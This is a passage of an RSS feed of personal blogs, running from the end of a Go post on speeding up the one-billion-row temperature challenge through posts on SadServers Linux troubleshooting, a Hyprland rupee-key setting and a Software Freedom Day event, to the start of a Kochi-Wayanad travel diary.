<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Convert the temperature string to a float</span></span>
<span class="giallo-l"><span>		temp</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strconv</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">ParseFloat</span><span>(</span><span>tempStr</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 64</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			continue</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Invalid temperature value, skip this line</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Update the statistics for the station</span></span>
<span class="giallo-l"><span>		stats</span><span>,</span><span> exists</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> stationStats</span><span>[</span><span>station</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span style="color: light-dark(#D73A49, #F47067);"> !</span><span>exists</span><span> {</span></span>
<span class="giallo-l"><span>			stats</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #F69D50);"> Stats</span><span>{</span><span>Min</span><span>:</span><span> temp</span><span>,</span><span> Max</span><span>:</span><span> temp</span><span>}</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Count</span><span style="color: light-dark(#D73A49, #F47067);">++</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Min</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> min</span><span>(</span><span>stats</span><span>.</span><span>Min</span><span>,</span><span> temp</span><span>)</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Max</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> max</span><span>(</span><span>stats</span><span>.</span><span>Max</span><span>,</span><span> temp</span><span>)</span></span>
<span class="giallo-l"><span>		stats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span> (</span><span>temp</span><span style="color: light-dark(#D73A49, #F47067);"> -</span><span> stats</span><span>.</span><span>Mean</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> /</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>(</span><span>stats</span><span>.</span><span>Count</span><span>)</span></span>
<span class="giallo-l"><span>		stationStats</span><span>[</span><span>station</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> stats</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Send the computed stats to resultsChan</span></span>
<span class="giallo-l"><span>	resultsChan</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> stationStats</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>In addition to this, I moved the <code>aggregateStats</code> to a separate Goroutine as well:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span>	aggWg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Add</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span></span>
<span class="giallo-l"><span>	finalResults</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Start a separate goroutine for aggregation</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	go</span><span style="color: light-dark(#D73A49, #F47067);"> func</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		defer</span><span> aggWg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> workerResult</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> resultsChan</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			for</span><span> station</span><span>,</span><span> stats</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> workerResult</span><span> {</span></span>
<span class="giallo-l"><span>				finalStats</span><span>,</span><span> exists</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> finalResults</span><span>[</span><span>station</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				if</span><span style="color: light-dark(#D73A49, #F47067);"> !</span><span>exists</span><span> {</span></span>
<span class="giallo-l"><span>					finalResults</span><span>[</span><span>station</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> stats</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">					continue</span></span>
<span class="giallo-l"><span>				}</span></span>
<span class="giallo-l"><span>				finalStats</span><span>.</span><span>Min</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> min</span><span>(</span><span>finalStats</span><span>.</span><span>Min</span><span>,</span><span> stats</span><span>.</span><span>Min</span><span>)</span></span>
<span class="giallo-l"><span>				finalStats</span><span>.</span><span>Max</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> max</span><span>(</span><span>finalStats</span><span>.</span><span>Max</span><span>,</span><span> stats</span><span>.</span><span>Max</span><span>)</span></span>
<span class="giallo-l"><span>				totalCount</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> finalStats</span><span>.</span><span>Count</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> stats</span><span>.</span><span>Count</span></span>
<span class="giallo-l"><span>				finalStats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> (</span><span>finalStats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#D73A49, #F47067);">float64</span><span>(</span><span>finalStats</span><span>.</span><span>Count</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> +</span><span> stats</span><span>.</span><span>Mean</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#D73A49, #F47067);">float64</span><span>(</span><span>stats</span><span>.</span><span>Count</span><span>)</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> /</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>(</span><span>totalCount</span><span>)</span></span>
<span class="giallo-l"><span>				finalStats</span><span>.</span><span>Count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> totalCount</span></span>
<span class="giallo-l"><span>				finalResults</span><span>[</span><span>station</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> finalStats</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span><span>(</span><span>)</span></span></code></pre><h3 id="results-4">Results<a class="zola-anchor" href="#results-4" aria-label="Anchor link for: results-4">#</a></h3>
<p>We’re down from 4.8s to just 2.1s to read/parse/process 100mn lines!</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">./bin/1brc.bin</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-file=input.txt</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-chunksize=1048576</span><span style="color: light-dark(#032F62, #96D0FF);">  17.58s</span><span style="color: light-dark(#032F62, #96D0FF);"> user</span><span style="color: light-dark(#032F62, #96D0FF);"> 0.77s</span><span style="color: light-dark(#032F62, #96D0FF);"> system</span><span style="color: light-dark(#032F62, #96D0FF);"> 837%</span><span style="color: light-dark(#032F62, #96D0FF);"> cpu</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2.190</span><span style="color: light-dark(#032F62, #96D0FF);"> total</span></span></code></pre><h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<ol>
<li>
<p><strong>Basic File Reading and Parsing (Baseline)</strong>:</p>
<ul>
<li><strong>Time</strong>: 19s (baseline).</li>
<li><strong>Key Change</strong>: Sequentially reading and processing each line.</li>
<li><strong>Speedup</strong>: N/A (baseline).</li>
</ul>
</li>
<li>
<p><strong>Producer-Consumer Pattern</strong>:</p>
<ul>
<li><strong>Time</strong>: 54.225s.</li>
<li><strong>Key Change</strong>: Implemented concurrent line processing with producer-consumer pattern.</li>
<li><strong>Speedup</strong>: -185% (slower than baseline).</li>
</ul>
</li>
<li>
<p><strong>Batch Processing of Lines</strong>:</p>
<ul>
<li><strong>Time</strong>: 6.442s.</li>
<li><strong>Key Change</strong>: Batched lines before processing, reducing channel communication.</li>
<li><strong>Speedup</strong>: +66% (compared to baseline).</li>
</ul>
</li>
<li>
<p><strong>Reducing Memory Allocations - Iteration 1</strong>:</p>
<ul>
<li><strong>Time</strong>: 5.346s.</li>
<li><strong>Key Change</strong>: Reused batch slices and reduced memory allocations.</li>
<li><strong>Speedup</strong>: +72% (compared to baseline).</li>
</ul>
</li>
<li>
<p><strong>Reducing Memory Allocations - Iteration 2 (Avoiding <code>strings.Split</code>)</strong>:</p>
<ul>
<li><strong>Time</strong>: 4.853s.</li>
<li><strong>Key Change</strong>: Replaced <code>strings.Split</code> with manual slicing for efficiency.</li>
<li><strong>Speedup</strong>: +75% (compared to baseline).</li>
</ul>
</li>
<li>
<p><strong>Read File in Chunks</strong>:</p>
<ul>
<li><strong>Time</strong>: 2.190s.</li>
<li><strong>Key Change</strong>: Processed file in chunks and optimized aggregation.</li>
<li><strong>Speedup</strong>: +87% (compared to baseline).</li>
</ul>
</li>
</ol>
<h2 id="final-run">Final Run<a class="zola-anchor" href="#final-run" aria-label="Anchor link for: final-run">#</a></h2>
<p>I’m quite satisfied with the final version for now. We can now proceed to test it with 1 billion lines. However it’s evidently CPU-bound, as we spawn N workers for N CPUs.</p>
<p>I experimented with different chunk sizes, and here are the results from each run:</p>
<table><thead><tr><th>Chunk Size</th><th>Time</th></tr></thead><tbody>
<tr><td>512.00 KB</td><td>23.756s</td></tr>
<tr><td>1.00 MB</td><td>21.798s</td></tr>
<tr><td>16.00 MB</td><td>20.693s</td></tr>
<tr><td>32.00 MB</td><td>19.501s</td></tr>
</tbody></table>
<p>Tweaking the chunk size doesn’t significantly impact performance, as processing larger chunks takes longer.</p>
<p>TL;DR: On an average and with multiple runs it takes approx <strong>20s</strong> with the final iteration for 1bn lines.</p>
<p>Checkout the full code on my <a rel="external" href="https://github.com/mr-karan/1brc-go">GitHub</a>.</p>
<h2 id="potential-improvements">Potential Improvements<a class="zola-anchor" href="#potential-improvements" aria-label="Anchor link for: potential-improvements">#</a></h2>
<p>This project was not only fun but also a great opportunity to revisit and refine many Go concepts. There are several ideas to contemplate for further improving this version’s timings:</p>
<ul>
<li>I haven’t yet considered using <code>mmap</code>, but I believe it could substantially speed things up.</li>
<li>To delve even deeper, custom line parsing functions, especially for converting <code>string</code> to <code>float64</code>, could offer improvements.</li>
<li>Employing custom hashing functions (perhaps FnV) might aid in faster map lookups.</li>
</ul>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Making sad servers happy]]></title>
            <link>https://mrkaran.dev/posts/sad-servers/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/sad-servers/</guid>
            <pubDate>Mon, 06 Nov 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Introduction to SadServers#
Recently, I stumbled upon sadservers, a platform described as “Like LeetCode for Linux”. The premise is: you are given access to a full remote Linux server with a pre-configured problem. Your mission is to diagnose and fix the issues in a fixed time window.
With the goal of documenting my journey through these challenges and sharing the knowledge gained, I decided to not only tackle these puzzles but also to record my solutions in a video format. The format is twofold in its purpose: it allows me to reflect on my problem-solving approach and provides a resource for others who may encounter similar problems, whether in real-world scenarios or in preparation for an SRE/DevOps interview.
The Learning Curve#
Each server presented a different issue, from misconfigured network settings to services failing to start, from permission issues to resource overutilization. One server, for instance, had a failing database service because of a disk full partition. The cause? Stale backup files. Another had a web server throwing errors because of incorrect file permissions.
Recording the Solutions#
The video recordings start with an introduction to the problem and my initial thoughts. Viewers can see my screen as I work through the issue, making the troubleshooting process transparent and educational. The commentary explains my thought process, the tools/CLI utilities used, and the solutions applied.
Part 1#

Part 2#

Part 3#

Conclusion#
For those looking to enhance their Linux troubleshooting skills, sadservers.com is a gold mine. It’s an excellent preparation ground for anyone aiming to step into the SRE/DevOps field or wanting to keep their skills sharp.
As I continue to record and share these troubleshooting escapades, I invite you to subscribe, comment with your insights, or even suggest what types of challenges you’d like to see addressed next.]]></description>
            <content:encoded><![CDATA[<h2 id="introduction-to-sadservers">Introduction to SadServers<a class="zola-anchor" href="#introduction-to-sadservers" aria-label="Anchor link for: introduction-to-sadservers">#</a></h2>
<p>Recently, I stumbled upon <a rel="external" href="https://sadservers.com">sadservers</a>, a platform described as “Like LeetCode for Linux”. The premise is: you are given access to a full remote Linux server with a pre-configured problem. Your mission is to diagnose and fix the issues in a fixed time window.</p>
<p>With the goal of documenting my journey through these challenges and sharing the knowledge gained, I decided to not only tackle these puzzles but also to record my solutions in a video format. The format is twofold in its purpose: it allows me to reflect on my problem-solving approach and provides a resource for others who may encounter similar problems, whether in real-world scenarios or in preparation for an SRE/DevOps interview.</p>
<h2 id="the-learning-curve">The Learning Curve<a class="zola-anchor" href="#the-learning-curve" aria-label="Anchor link for: the-learning-curve">#</a></h2>
<p>Each server presented a different issue, from misconfigured network settings to services failing to start, from permission issues to resource overutilization. One server, for instance, had a failing database service because of a disk full partition. The cause? Stale backup files. Another had a web server throwing errors because of incorrect file permissions.</p>
<h2 id="recording-the-solutions">Recording the Solutions<a class="zola-anchor" href="#recording-the-solutions" aria-label="Anchor link for: recording-the-solutions">#</a></h2>
<p>The video recordings start with an introduction to the problem and my initial thoughts. Viewers can see my screen as I work through the issue, making the troubleshooting process transparent and educational. The commentary explains my thought process, the tools/CLI utilities used, and the solutions applied.</p>
<h3 id="part-1">Part 1<a class="zola-anchor" href="#part-1" aria-label="Anchor link for: part-1">#</a></h3>
<iframe width="560" height="315" src="https://www.youtube.com/embed/vdR8-ubkpRU?si=GGusRmnqk8bqKoCW" title="Making sad servers happy - Part 1" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
<h3 id="part-2">Part 2<a class="zola-anchor" href="#part-2" aria-label="Anchor link for: part-2">#</a></h3>
<iframe width="560" height="315" src="https://www.youtube.com/embed/b-VFnaX78xY?si=Ql0zvph3p-U5wzwE" title="Making sad servers happy - Part 2" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
<h3 id="part-3">Part 3<a class="zola-anchor" href="#part-3" aria-label="Anchor link for: part-3">#</a></h3>
<iframe width="560" height="315" src="https://www.youtube.com/embed/-42S4xcim8Y?si=n1s7KHyZluyf4TLc" title="Making sad servers happy - Part 3" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
<h2 id="conclusion">Conclusion<a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a></h2>
<p>For those looking to enhance their Linux troubleshooting skills, sadservers.com is a gold mine. It’s an excellent preparation ground for anyone aiming to step into the SRE/DevOps field or wanting to keep their skills sharp.</p>
<p>As I continue to record and share these troubleshooting escapades, I invite you to subscribe, comment with your insights, or even suggest what types of challenges you’d like to see addressed next.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Enabling AltGr+4 for rupee/euro on Hyprland]]></title>
            <link>https://aryak.me/blog/05-rupee-sign-on-hyprland.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/05-rupee-sign-on-hyprland.html</guid>
            <pubDate>Fri, 03 Nov 2023 12:39:45 GMT</pubDate>
            <description><![CDATA[Enabling the rupee sign (or the euro sign for that matter) on
Hyprland is pretty simple, but not well documented from my
“research”.
To begin with, you need to use the altgr-intl layout in order to be
able to use it in the first place. This also gives you access to many
other characters as well.
To do this, add kb_variant = altgr-intl in the input
section of your hyprland.conf.
Past this, the configuration is pretty simple, you just have to add
the required options to kb_options.
You can get a list of these with
localectl list-x11-keymap-options.
In my case, I needed rupeesign:4
At the end, this is how the hyprland.conf’s input section looks:
input {
    kb_layout = us
    kb_options = rupeesign:4, caps:backspace
    kb_variant = altgr-intl
    [...mouse stuff...]
}]]></description>
            <content:encoded><![CDATA[
<p>Enabling the rupee sign (or the euro sign for that matter) on
Hyprland is pretty simple, but not well documented from my
“research”.</p>
<p>To begin with, you need to use the altgr-intl layout in order to be
able to use it in the first place. This also gives you access to <a
href="https://raw.githubusercontent.com/google/us-altgr-intl/master/images/keyboard_english_us_intl.png">many
other characters</a> as well.</p>
<p>To do this, add <code>kb_variant = altgr-intl</code> in the input
section of your <code>hyprland.conf</code>.</p>
<p>Past this, the configuration is pretty simple, you just have to add
the required options to <code>kb_options</code>.</p>
<p>You can get a list of these with
<code>localectl list-x11-keymap-options</code>.</p>
<p>In my case, I needed <code>rupeesign:4</code></p>
<p>At the end, this is how the hyprland.conf’s input section looks:</p>
<pre><code>input {
    kb_layout = us
    kb_options = rupeesign:4, caps:backspace
    kb_variant = altgr-intl
    [...mouse stuff...]
}</code></pre>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2023/11/03/5</category>
        </item>
        <item>
            <title><![CDATA[Software Freedom Day at sflc.in]]></title>
            <link>https://ravidwivedi.in/posts/software-freedom-day-at-sflc.in/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/software-freedom-day-at-sflc.in/</guid>
            <pubDate>Sun, 22 Oct 2023 21:55:34 GMT</pubDate>
            <description><![CDATA[Software Freedom Law Center, India, also known as sflc.in, organized an event to celebrate the Software Freedom Day on 30th September 2023. I, Sahil, Contrapunctus and Suresh joined. The venue was at the SFLC India office in Delhi. The sflc.in office was on the second floor of what looked like someone’s apartment:). I also met Chirag, Orendra, Surbhi and others.
My plan was to have a stall on LibreOffice and Prav app to raise awareness about these projects. I didn’t have QR code for downloading prav app printed already, so I asked the people at sflc.in if they can get it printed for me. They were very kind and helped me in getting a color printout for me. So, I got a stall in their main room. Surbhi was having an Inkscape stall next to mine and gave me company.  People came and asked about the prav project and then I realized I was still too tired to explain the idea behind the prav project and about LibreOffice (after a long Kerala trip). We got a few prav app installs during the event, which is cool.

      
My stall. Photo credits: Tejaswini.
Sahil had a Debian stall, and contrapunctus had an OpenStreetMap stall. After about an hour, Revolution OS was screened for all of us to watch, along with popcorn. The documentary gave an overview of history of Free Software Movement. The office had a kitchen where fresh chai was being made and served to us. The organizers ordered a lot of good snacks for us.

      
Snacks and tea at the front desk. CC-BY-SA 4.0 by Ravi Dwivedi.
I came out of the movie hall to take more tea and snacks from the front desk. I saw a beautiful painting was hanging at the wall opposite to the front desk and Tejaswini (from sflc.in) revealed that she had made it. The tea was really good as it was freshly made in the kitchen.
After the movie, we played a game of pictionary. We were divided into two teams. The game goes as follows: A person from a team is selected and given a term related to freedom respecting software written on a piece of paper, but concealed from other participants. Then that person draws something on the board (no logo, no alphabets) without speaking. If the person’s team correctly guesses the term, the team gets one step ahead on the leaderboard. The team that reaches the finish line wins.
I recall some fun Pictionary rounds. For example, the one in the picture below seemed far from the word “Wireguard,” but someone from the team still guessed that word. Our team won in the end \o/.

      
Pictionary drawing nowhere close to the intended word Wireguard :), which was guessed. Photo by Ravi Dwivedi, CC-BY-SA 4.0.
Then, we posed for a group picture. At the end, SFLC.in had a delicious cake in store for us. They also had some merchandise available, such as handbags, T-shirts, etc., which we could take if we made a donation to SFLC.in. I “bought” a handbag with “Ban Plastic, not Internet” written on it in exchange for a donation. I hope that gives people around me a powerful message :)

      
Group photo. Photo credits: Tejaswini.

      
Tasty cake. CC-BY-SA 4.0 by Ravi Dwivedi.

      
Merchandise by sflc.in. CC-BY-SA 4.0 by Ravi Dwivedi.
Overall, sflc.in hosted a fantastic event!]]></description>
            <content:encoded><![CDATA[<p>Software Freedom Law Center, India, also known as <a href="https://sflc.in">sflc.in</a>, organized an event to celebrate the <a href="https://sflc.in/sflc-in-celebrates-software-freedom-day2023/">Software Freedom Day</a> on 30th September 2023. I, <a href="https://sahilister.in">Sahil</a>, <a href="https://contrapunctus.codeberg.page/">Contrapunctus</a> and Suresh joined. The venue was at the SFLC India office in Delhi. The sflc.in office was on the second floor of what looked like someone&rsquo;s apartment:). I also met Chirag, Orendra, Surbhi and others.</p>
<p>My plan was to have a stall on <a href="https://libreoffice.org">LibreOffice</a> and <a href="https://prav.app">Prav app</a> to raise awareness about these projects. I didn&rsquo;t have QR code for downloading prav app printed already, so I asked the people at sflc.in if they can get it printed for me. They were very kind and helped me in getting a color printout for me. So, I got a stall in their main room. Surbhi was having an Inkscape stall next to mine and gave me company.  People came and asked about the prav project and then I realized I was still too tired to explain the idea behind the prav project and about LibreOffice (after a long Kerala trip). We got a few prav app installs during the event, which is cool.</p>
<figure><img src="https://ravidwivedi.in/images/sflcin-sfd/stall.avif" loading="lazy"><figcaption>
      <h4>My stall. Photo credits: Tejaswini.</h4>
    </figcaption>
</figure>

<p>Sahil had a Debian stall, and contrapunctus had an OpenStreetMap stall. After about an hour, <a href="https://en.wikipedia.org/wiki/Revolution_OS">Revolution OS</a> was screened for all of us to watch, along with popcorn. The documentary gave an overview of history of Free Software Movement. The office had a kitchen where fresh chai was being made and served to us. The organizers ordered a lot of good snacks for us.</p>
<figure><img src="https://ravidwivedi.in/images/sflcin-sfd/front-desk.avif" loading="lazy"><figcaption>
      <h4>Snacks and tea at the front desk. CC-BY-SA 4.0 by Ravi Dwivedi.</h4>
    </figcaption>
</figure>

<p>I came out of the movie hall to take more tea and snacks from the front desk. I saw a beautiful painting was hanging at the wall opposite to the front desk and Tejaswini (from sflc.in) revealed that she had made it. The tea was really good as it was freshly made in the kitchen.</p>
<p>After the movie, we played a game of pictionary. We were divided into two teams. The game goes as follows: A person from a team is selected and given a term related to freedom respecting software written on a piece of paper, but concealed from other participants. Then that person draws something on the board (no logo, no alphabets) without speaking. If the person&rsquo;s team correctly guesses the term, the team gets one step ahead on the leaderboard. The team that reaches the finish line wins.</p>
<p>I recall some fun Pictionary rounds. For example, the one in the picture below seemed far from the word &ldquo;Wireguard,&rdquo; but someone from the team still guessed that word. Our team won in the end \o/.</p>
<figure><img src="https://ravidwivedi.in/images/sflcin-sfd/fun-pictionary.avif" loading="lazy"><figcaption>
      <h4>Pictionary drawing nowhere close to the intended word Wireguard :), which was guessed. Photo by Ravi Dwivedi, CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<p>Then, we posed for a group picture. At the end, SFLC.in had a delicious cake in store for us. They also had some merchandise available, such as handbags, T-shirts, etc., which we could take if we made a donation to SFLC.in. I &ldquo;bought&rdquo; a handbag with &ldquo;Ban Plastic, not Internet&rdquo; written on it in exchange for a donation. I hope that gives people around me a powerful message :)</p>
<figure><img src="https://ravidwivedi.in/images/sflcin-sfd/group-photo.avif" loading="lazy"><figcaption>
      <h4>Group photo. Photo credits: Tejaswini.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/sflcin-sfd/cake.avif" loading="lazy"><figcaption>
      <h4>Tasty cake. CC-BY-SA 4.0 by Ravi Dwivedi.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/sflcin-sfd/merchandise.avif" loading="lazy"><figcaption>
      <h4>Merchandise by sflc.in. CC-BY-SA 4.0 by Ravi Dwivedi.</h4>
    </figcaption>
</figure>

<p>Overall, sflc.in hosted a fantastic event!</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Riff: A "mycelium-clj" for the Clojure ecosystem?]]></title>
            <link>https://www.evalapply.org/posts/mycelium-clj/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/mycelium-clj/index.html</guid>
            <pubDate>Thu, 19 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[In a world of concrete objects, steel frameworks bring sense and order. In a forest of composable tools, libraries and open-ended schemas, it would be the mycelia. A frustrated yet optimistic man muses "Might such a thing come to be?".]]></description>
            <content:encoded><![CDATA[In a world of concrete objects, steel frameworks bring sense and order. In a forest of composable tools, libraries and open-ended schemas, it would be the mycelia. A frustrated yet optimistic man muses "Might such a thing come to be?".]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>riff</category>
            <category>clojure</category>
            <category>systems</category>
            <category>architecture</category>
            <category>recurse_center</category>
        </item>
        <item>
            <title><![CDATA[An approach to getting fit]]></title>
            <link>https://www.prashanthudupa.com/an-approach-to-getting-fit/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/an-approach-to-getting-fit/</guid>
            <pubDate>Tue, 17 Oct 2023 08:11:52 GMT</pubDate>
            <description><![CDATA[Being fit has a whole lot of benefits associated with it. Getting fit, on the other hand may feel like a roller-coaster ride. The process seems to feel less than inspiring. One has to deal with making new year resolutions,...]]></description>
            <content:encoded><![CDATA[Being fit has a whole lot of benefits associated with it. Getting fit, on the other hand may feel like a roller-coaster ride. The process seems to feel less than inspiring. One has to deal with making new year resolutions,...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Fitness</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Kochi - Wayanad Trip in August-September 2023]]></title>
            <link>https://ravidwivedi.in/posts/kochi-wayanad-trip-aug-sep-2023/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/kochi-wayanad-trip-aug-sep-2023/</guid>
            <pubDate>Sat, 14 Oct 2023 12:18:54 GMT</pubDate>
            <description><![CDATA[A trip full of hitchhiking, beautiful places and welcoming locals.
Day 1: Arrival in Kochi
Kochi is a city in the state of Kerala, India. This year’s DebConf was to be held in Kochi from 3rd September to 17th of September, which I was planning to attend. My friend Suresh, who was planning to join, told me that 29th August 2023 will be Onam, a major festival of the state of Kerala. So, we planned a Kerala trip before the DebConf. We booked early morning flights for Kochi from Delhi and reached Kochi on 28th August.
We had booked a hostel named Zostel in Ernakulam. During check-in, they asked me to fill a form which required signing in using a Google account. I told them I don’t have a Google account and I don’t want to create one either. The people at the front desk seemed receptive, so I went ahead with telling them the problems of such a sign-in being mandatory for check-in. Anyways, they only took a photo of my passport and let me check-in without a Google account.
We stayed in a ten room dormitory, which allowed travellers of any gender. The dormitory room was air-conditioned, spacious, clean and beds were also comfortable. There were two bathrooms in the dormitory and they were clean. Plus, there was a separate dormitory room in the hostel exclusive for females. I noticed that that Zostel was not added in the OpenStreetMap and so, I added it :) . The hostel had a small canteen for tea and snacks, a common sitting area outside the dormitories, which had beds too. There was a separate silent room, suitable for people who want to work.

      
Dormitory room in Zostel Ernakulam, Kochi.

      
Beds in Zostel Ernakulam, Kochi.
We had lunch at a nearby restaurant and it was hard to find anything vegetarian for me. I bought some freshly made banana chips from the street and they were tasty. As far as I remember, I had a big glass of pineapple juice for lunch. Then I went to the Broadway market and bought some cardamom and cinnamon for home. I also went to a nearby supermarket and bought Matta brown rice for home. Then, I looked for a courier shop to send the things home but all of them were closed due to Onam festival. After returning to the Zostel, I overslept till 9 PM and in the meanwhile, Suresh planned with Saidut and Shwetank (who met us during our stay in Zostel) to go to a place in Fort Kochi for dinner. I suspected I will be disappointed by lack of vegetarian options as they were planning to have fish. I already had a restaurant in mind - Brindhavan restaurant (suggested by Anupa), which was a pure vegetarian restaurant.
To reach there, I got off at Palarivattom metro station and started looking for an auto-rickshaw to get to the restaurant. I didn’t get any for more than 5 minutes. Since that restaurant was not added to the OpenStreetMap, I didn’t even know how far that was and which direction to go to. Then, I saw a Zomato delivery person on a motorcycle and asked him where the restaurant was. It was already 10 PM and the restaurant closes at 10:30. So, I asked him whether he can drop me off. He agreed and dropped me off at that restaurant. It was 4-5 km from that metro station. I tipped him and expressed my gratefulness for the help. He refused to take the tip, but I insisted and he accepted.
I entered the restaurant and it was coming to a close, so many items were not available. I ordered some Kadhai Paneer (only item left) with naan. It tasted fine. Since the next day was Thiruvonam, I asked the restaurant about the Sadya thali menu and prices for the next day. I planned to eat Sadya thali at that restaurant, but my plans got changed later.

      
Onam sadya menu from Brindhavan restaurant.
Day 2: Onam celebrations
